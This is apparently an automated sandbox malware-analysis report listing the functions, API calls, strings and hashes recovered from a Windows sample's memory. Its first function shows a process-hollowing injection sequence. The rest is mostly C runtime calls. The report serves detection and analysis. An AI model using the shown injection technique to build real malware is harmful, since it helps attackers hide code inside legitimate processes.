VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04340156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0434016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04340255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04340270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04340283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0434029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 043402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04340304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0434032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04340399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 043403BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 043403E1
ResumeThread.KERNELBASE(00000000), ref: 043403ED
ExitProcess.KERNEL32(00000000), ref: 04340412

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a17cc84ab02b4a9a1d4b681363bb4c95bc1ec8fde4030686a6e5956974da7169
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 25B1B674A00208AFDB44CF98C895F9EBBB5BF88314F248158E649AB391D771AE41CF94

Function 04340420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04340533

Strings

saodkfnosa9uin, xrefs: 043404DA
0, xrefs: 04340492
mfoaskdfnoa, xrefs: 04340520, 04340523
d, xrefs: 04340584

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 129fa3fd6fddca44c412c6fbb8605e9bba2f903461db8986dd9ce0d02f24fa7a
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D9512A70E08388DAEB15CBD8C849BDDBFF6AF51708F144098D5447F286C3BA6658CB62

Function 043405B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 043405EC

Strings

o, xrefs: 04340600
apfHQ, xrefs: 043405E2, 043405E5

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: b40da52a6855bac262c45b7bc01173976a2302d86bcf9284b2f827f2ceda9f6c
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 5A011E70D0424CEADB14DB98C5183EEBFF5AF41308F1480D9C5592B242D77AAB58CBA1

Function 042937C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 042937EE
Module32First.KERNEL32(00000000,00000224), ref: 0429380E

Memory Dump Source

Source File: 00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp, Offset: 04293000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4293000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 677d9653ed14b7ba6808492f34b48ae9cbc8abfc1393cc1a992b969ffd137d4f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D8F062353107116BDB207BF5A88DAAA76E8FF4D725F100668EA42950C0DA70FC454661

Function 04293485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 042934D6

Memory Dump Source

Source File: 00000005.00000002.1690777930.0000000004293000.00000040.00000020.00020000.00000000.sdmp, Offset: 04293000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4293000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 474f7400b1a643c216b1e1784cbe271777dbecf7600d0c38b2145c33c683e46c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 78112879A00208EFDB01DF98C985E99BBF5AF08350F0580A4F9489B361D371EA90EB80

Non-executed Functions

Function 04366437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0436644E

Part of subcall function 04369636: __calloc_impl.LIBCMT ref: 04369645

__calloc_crt.LIBCMT ref: 04366472
_free.LIBCMT ref: 04366480
__calloc_crt.LIBCMT ref: 0436648E
_free.LIBCMT ref: 0436649E
_free.LIBCMT ref: 043664A4
__copytlocinfo_nolock.LIBCMT ref: 043664B3
__setmbcp_nolock.LIBCMT ref: 043664D4
_free.LIBCMT ref: 043664E2
___removelocaleref.LIBCMT ref: 043664E9
___freetlocinfo.LIBCMT ref: 043664F0
_free.LIBCMT ref: 043664F6

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 185e59b8977bf37f20d1755596d279d2cd185def7f62d7e4fbb5f2d6e952157c
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 6021F331204613EEFB223F65DC02E0BBBD9DF417A8B60E02AE947554A8EA72B510CB50

Function 04363F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04363F51

Part of subcall function 04365BA8: __getptd_noexit.LIBCMT ref: 04365BA8

__gmtime64_s.LIBCMT ref: 04363FEA
__gmtime64_s.LIBCMT ref: 04364020
__gmtime64_s.LIBCMT ref: 0436403D
__allrem.LIBCMT ref: 04364093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 043640AF
__allrem.LIBCMT ref: 043640C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 043640E4
__allrem.LIBCMT ref: 043640FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04364119
__invoke_watson.LIBCMT ref: 0436418A

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: d5620d196a04e9c476edfa80fab870e6ea534ef907495b5aae78eafd2cba7c00
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: EF71FA71E00B27ABE7249F78CC40B5AB3B8AF10364F14D139E965D7685E774F9008B94

Function 0436650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04366547
__calloc_crt.LIBCMT ref: 04366598
__lock.LIBCMT ref: 043665AE
__copytlocinfo_nolock.LIBCMT ref: 043665BF
_wcscmp.LIBCMT ref: 043665F9
__lock.LIBCMT ref: 04366610
__updatetlocinfoEx_nolock.LIBCMT ref: 04366622
___removelocaleref.LIBCMT ref: 04366628
__updatetlocinfoEx_nolock.LIBCMT ref: 04366647

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 339fa9c0577b0f56159b2673ff396fab6b84ce5ef2e8b25fabed295aa9155a26
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 7B413632904307AFFB00AFA4ED4279E3BE5AF44358F10E02DE9169A198DB75B544DB15

Function 043684AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 043684B1
_free.LIBCMT ref: 043684E2
_free.LIBCMT ref: 043684F5
_free.LIBCMT ref: 04368513
_free.LIBCMT ref: 04368525
_free.LIBCMT ref: 04368536
_free.LIBCMT ref: 04368541
_free.LIBCMT ref: 04368565
_free.LIBCMT ref: 04368581
_free.LIBCMT ref: 04368597
_free.LIBCMT ref: 043685BF

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 7e72c86b33110fe995cfb7507ee72dbcd177db0de3b043fd023b39271529b7ac
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 2D31C4319012669BDF657F14FC8484977A5EF18324314E52AEB06572B4CBF079C89E94

Function 0438FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0438FC1F

Part of subcall function 0437169C: std::exception::_Copy_str.LIBCMT ref: 043716B5

__CxxThrowException@8.LIBCMT ref: 0438FC34
std::exception::exception.LIBCMT ref: 0438FC4D
__CxxThrowException@8.LIBCMT ref: 0438FC62
std::regex_error::regex_error.LIBCPMT ref: 0438FC74

Part of subcall function 0438F914: std::exception::exception.LIBCMT ref: 0438F92E

__CxxThrowException@8.LIBCMT ref: 0438FC82
std::exception::exception.LIBCMT ref: 0438FC9B
__CxxThrowException@8.LIBCMT ref: 0438FCB0

Strings

leM, xrefs: 0438FCA8

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 1db49313262372fc48912d230794be20452ef2e50d6da33091975e7089cfeb0f
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 7C11CB79C0020DBBDF00FFA5D895CEEBBBCAE04748F408566AD5497641EB78B7488B94

Function 0434F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0434F01F

Part of subcall function 04361602: __FF_MSGBANNER.LIBCMT ref: 04361619
Part of subcall function 04361602: __NMSG_WRITE.LIBCMT ref: 04361620

_malloc.LIBCMT ref: 0434F02B
_wprintf.LIBCMT ref: 0434F03E
_free.LIBCMT ref: 0434F044
_free.LIBCMT ref: 0434F065
_malloc.LIBCMT ref: 0434F06D
_sprintf.LIBCMT ref: 0434F0C0
_wprintf.LIBCMT ref: 0434F0D2
_wprintf.LIBCMT ref: 0434F0DC
_free.LIBCMT ref: 0434F0E5

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 68836bcb675826625320fcedd72f97530427c90c62147df0dd15c8b37a51eec9
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 95115CB65005643AE761B7B40C11EFF7BDC9F86306F0810AAFF4ED1180DA587A0493B1

Function 04351960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 043519C6
__CxxThrowException@8.LIBCMT ref: 043519F1
__CxxThrowException@8.LIBCMT ref: 04351A1A
__CxxThrowException@8.LIBCMT ref: 04351A4B
_memset.LIBCMT ref: 04351A6A
__CxxThrowException@8.LIBCMT ref: 04351A90
_malloc.LIBCMT ref: 04351AA0
_memset.LIBCMT ref: 04351AAB
_sprintf.LIBCMT ref: 04351ACE

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 4a5c2631d57dd68496b26f2179455067668ed6aa001388bbaca7c72ebc5a6708
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 75515A71D40219AAEF11DBA5DC86FAFBBB8FF04B44F100125F905F6290E7746A018BA5

Function 0434F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0434F284
__CxxThrowException@8.LIBCMT ref: 0434F2AF
__CxxThrowException@8.LIBCMT ref: 0434F2DE
__CxxThrowException@8.LIBCMT ref: 0434F30F
_memset.LIBCMT ref: 0434F32E
__CxxThrowException@8.LIBCMT ref: 0434F354
_sprintf.LIBCMT ref: 0434F373

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: eb2e4b6814b6786b11317bef24d23d44003233f826c5184b75bc71ac929af32c
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 82516FB1E40209AAEF11DFA1DC46FEFBBB8EF44704F145029F905B6180E775BA058BA4

Function 0434F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0434F4B7
__CxxThrowException@8.LIBCMT ref: 0434F4E2
__CxxThrowException@8.LIBCMT ref: 0434F504
__CxxThrowException@8.LIBCMT ref: 0434F535
_memset.LIBCMT ref: 0434F554
__CxxThrowException@8.LIBCMT ref: 0434F57A
_sprintf.LIBCMT ref: 0434F594

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 3be02a91176f8728c63165527d6f1f7d869ffd12915a0ccd56bf35ec45077e94
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: B7514171D40209AAEF11DFA1DC46FEEBBB8EF44704F145129F905B6280E67479058BA5

Function 0438208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 043820C6
__invoke_watson.LIBCMT ref: 04382120
_strlen.LIBCMT ref: 043820D4

Part of subcall function 04365BA8: __getptd_noexit.LIBCMT ref: 04365BA8

_strnlen.LIBCMT ref: 0438215F
__lock.LIBCMT ref: 04382170
__getenv_helper_nolock.LIBCMT ref: 0438217B

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 9f770a6d25fcf347563da8753ae4af720331906b3df3a29927fd2390c432d4e6
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 59310BB2A04316BBFB217BA4DC00B6FB7589F05B68F20A49DE915DB284DB74F54087A1

Function 04352670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 043526DB
_memset.LIBCMT ref: 04352A30
_memset.LIBCMT ref: 04352AC0

Strings

D, xrefs: 04352AC8

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 847118e0508eb1d5a90661cde02776d692a6270f3492000c17e4a76dedde67fc
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 8FE14C71D4021AAADF24DFA0DD49FEFB7B8BF04304F1450A9E90AE61A0EB746A45CF54

Function 0434D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0434D8EA

Strings

(, xrefs: 0434DAE9
$, xrefs: 0434DAE2
, xrefs: 0434DADB

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: b40a1b06f6de918337c5c6c6993d03d00f408cd4f8fec369ac02186f1add9325
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 8E91AE71D00219AAEF21DFA0CC59BEEBBF4AF05308F145169D405BB2D0DBB67A48CB65

Function 0435A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0435A858
_memset.LIBCMT ref: 0435A869
_memset.LIBCMT ref: 0435A87A

Strings

p2Q, xrefs: 0435A882

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 1601feca15cedd0dfeb9c49a7e64318d429b07edfe9d9a268a7c61fe8f856aea
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C2F0E578694791A5F7117B50BC267857E917F32B48F109044D1142E2E5D3FD334C6799

Function 0438FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0438FBF1

Part of subcall function 0437169C: std::exception::_Copy_str.LIBCMT ref: 043716B5

__CxxThrowException@8.LIBCMT ref: 0438FC06

Strings

TeM, xrefs: 0438FBFB, 0438FBE7
TeM, xrefs: 0438FBFE

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 9a18f0e86960422235acf5302b7ee81f4e71427e97243ecc5d08514ffef04e94
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: D2D06775C0020CBBDF00EFA5D499CDDBBB8AE04748B008466AD5497241EA78A7498B94

Function 0434D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0436197D: __wfsopen.LIBCMT ref: 04361988

_fgetws.LIBCMT ref: 0434D15C

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: a148cf1240fddbb087694b1510b8733be6d1b6c898383d55ad2460beba7010aa
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 3791C372D0021A9BEF21DFA4CC45BEEB7F4AF84304F145529E816A7640E779BA04CB95

Function 0434D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0434D77E
_malloc.LIBCMT ref: 0434D7B2
_malloc.LIBCMT ref: 0434D7C1
_fprintf.LIBCMT ref: 0434D815

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: ca5912fc6674e644f398bc4b886e81b499ef3b30019384a578dc6a0e78162268
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 89A17FB1C00249EBFF11EFE4C845BDEBBB5AF15308F145068D4067B291D7B66A48CBA6

Function 04362AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04362B2E
__read_nolock.LIBCMT ref: 04362BFE
__filbuf.LIBCMT ref: 04362C21
_memset.LIBCMT ref: 04362C65

Part of subcall function 04365BA8: __getptd_noexit.LIBCMT ref: 04365BA8

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 9dd0055e7186220c05890e9b47335ba4d2cf9a5631be79fdfab8fe1907583632
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: D351D370A006079BDB28AF68888456FB7B9EF40320F15D7A9E837972D8E770B9509B40

Function 04381359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0438137D

Part of subcall function 04381A9D: __fltout2.LIBCMT ref: 04381AC6

__cftog_l.LIBCMT ref: 043813A3
__cftoe_l.LIBCMT ref: 043813D5

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4340000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: a1ad244dbbf7ed81c020f9545cf09721793b10a8b2a29423b0325c1c0148430f
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: C8018C3200024EFBCF126F84CC01CEE7F66BF18354B089418FA9858830D3B6E5B2AB81

Function 04407A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04407A4B

Part of subcall function 04408140: ___BuildCatchObjectHelper.LIBCMT ref: 04408172
Part of subcall function 04408140: ___AdjustPointer.LIBCMT ref: 04408189

_UnwindNestedFrames.LIBCMT ref: 04407A62
___FrameUnwindToState.LIBCMT ref: 04407A74
CallCatchBlock.LIBCMT ref: 04407A98

Memory Dump Source

Source File: 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, Offset: 04340000, based on PE: false

Joe Sandbox IDA Plugin

